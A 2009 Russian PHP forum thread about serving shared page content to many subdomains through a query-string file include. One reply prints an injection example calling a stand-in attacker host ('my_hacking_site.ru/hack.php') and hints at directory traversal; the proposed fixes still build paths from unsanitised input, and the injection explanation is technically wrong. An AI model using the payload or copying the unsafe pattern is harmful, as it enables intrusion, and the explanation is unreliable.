[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Много сайтов с разным дизайном
belvision
Здравствуйте! Есть задача сделать много сайтов с доменом третьего уровня с разным дизайном но с одинаковым контентом, Есть сайт domen.ru так же если нужно изменить контент на domen.ru нужно чтобы он изменился сразу на всех остальных сайтах 3 уровня

sait1.domen.ru
sait2.domen.ru
sait3.domen.ru
.............
sait101.domen.ru
Сайт domen.ru построен по схеме разделения дизайна и контента то есть в файл index.php вставлен такой код
<?
if (empty($_SERVER['QUERY_STRING']))
{ $name="index"; }
else
{ $name=basename($_SERVER['QUERY_STRING']); }
$file="txt/".$name.".htm";
if (is_readable($file))
{ readfile($file); }
else
{ echo "<br>Запрошенный вами файл не найден<br>";}
?>
То есть например странице index.php ссылка на страницу новости имеет вид domen.ru/index.php?news или на страницу контакты такая domen.ru/index.php?kontakt
Сами страницы все сложнены в папке txt которая находится в том же каталоге что и сам файл index.php
Поскольку нужно открыть много сайтов с разным дизайном но с таким же контентом как domen.ru
то хотелось бы знать как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt которая находится фактически на другом домене. Это нужно поскольку не хочется эту папку копировать много раз занимая место на сервере и помещать в тот же каталог где находятся страницы индексных файлов доменов 3 уровня.




Спустя 7 часов, 48 минут, 36 секунд (5.04.2009 - 10:53) FatCat написал(а):
Ваш вопрос потом.
Дыру в безопасности зачем оставили?
Цитата (belvision @ 5.04.2009 - 03:04)
$file="txt/".$name.".htm";

А если я вместо имени файла подставлю в запросе такую строку?
Код
;include("http://my_hacking_site.ru/hack.php");$file=

В результате на Вашем сайте отработает код:
PHP
$file="txt/";
include(
"http://my_hacking_site.ru/hack.php");
$file=".htm";

Спустя 1 минута, 46 секунд (5.04.2009 - 10:54) FatCat написал(а):
Цитата (belvision @ 5.04.2009 - 03:04)
как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt

Пишите абсолютный путь от папки /home/

Спустя 5 часов, 24 минуты, 37 секунд (5.04.2009 - 16:19) belvision написал(а):
Спасибо за подсказку помогите устранить эту дыру безопасности как должен выглядеть код?

Спустя 18 минут, 50 секунд (5.04.2009 - 16:38) belvision написал(а):
И как именно писать абсолютный путь от папки home
ведь папка с файлами поддомена находится в том же каталоге что и папка с файлами домена
например
htdocs.sait1.domen.ru папка поддомена в которой находится индексный файл
htdocs папка с файлами самого домена в которой находится папка txt и индексный файл

Спустя 5 дней, 33 минуты, 41 секунда (10.04.2009 - 17:12) belvision написал(а):
Кстате если внешние инклуды запрещены на сервере эта дыра не сработает

Спустя 1 час, 16 минут, 16 секунд (10.04.2009 - 18:28) FatCat написал(а):
Цитата (belvision @ 5.04.2009 - 16:38)
И как именно писать абсолютный путь от папки home

PHP
define(TXT_PATH,"/home/user_dir/public_html/txt/"); 
// бла-бла...
$file=TXT_PATH.$name.".htm";
if (
is_readable($file)) 
{
    
readfile($file); 
}


Или топориком на коленке:
PHP
$file="/home/user_dir/public_html/txt/".$name.".htm";
if (
is_readable($file)) 
{
    
readfile($file); 
}



Цитата
Кстате если внешние инклуды запрещены на сервере эта дыра не сработает

Да, заинклюдить не получится.
Но можно будет пошарить по директориям выше директории сайта. wink.gif

Спустя 1 день, 3 часа, 5 минут, 2 секунды (11.04.2009 - 21:33) belvision написал(а):
Спасибо большое за подробный код пути к папке теперь всё работает
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2025 Invision Power Services, Inc.